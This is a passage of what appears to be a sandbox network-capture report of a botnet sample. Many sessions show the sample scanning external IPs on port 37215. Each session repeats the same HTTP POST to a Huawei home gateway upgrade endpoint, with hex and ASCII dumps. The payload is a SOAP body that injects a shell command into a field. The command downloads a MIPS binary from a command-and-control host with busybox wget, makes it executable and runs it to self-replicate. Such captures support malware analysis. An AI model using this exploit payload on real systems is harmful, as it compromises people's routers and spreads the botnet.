73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	37416	197.163.97.84	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474426985 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	57034	197.69.217.164	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474452019 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	45658	41.62.171.184	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474473000 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	42028	41.115.87.47	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474483967 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	58442	41.193.122.172	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474507093 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	46676	197.237.82.82	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474519968 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	40892	41.9.123.205	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474550962 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	45506	156.18.74.155	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474570036 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	58422	41.29.158.199	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474611044 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	36828	41.148.99.160	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474626064 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 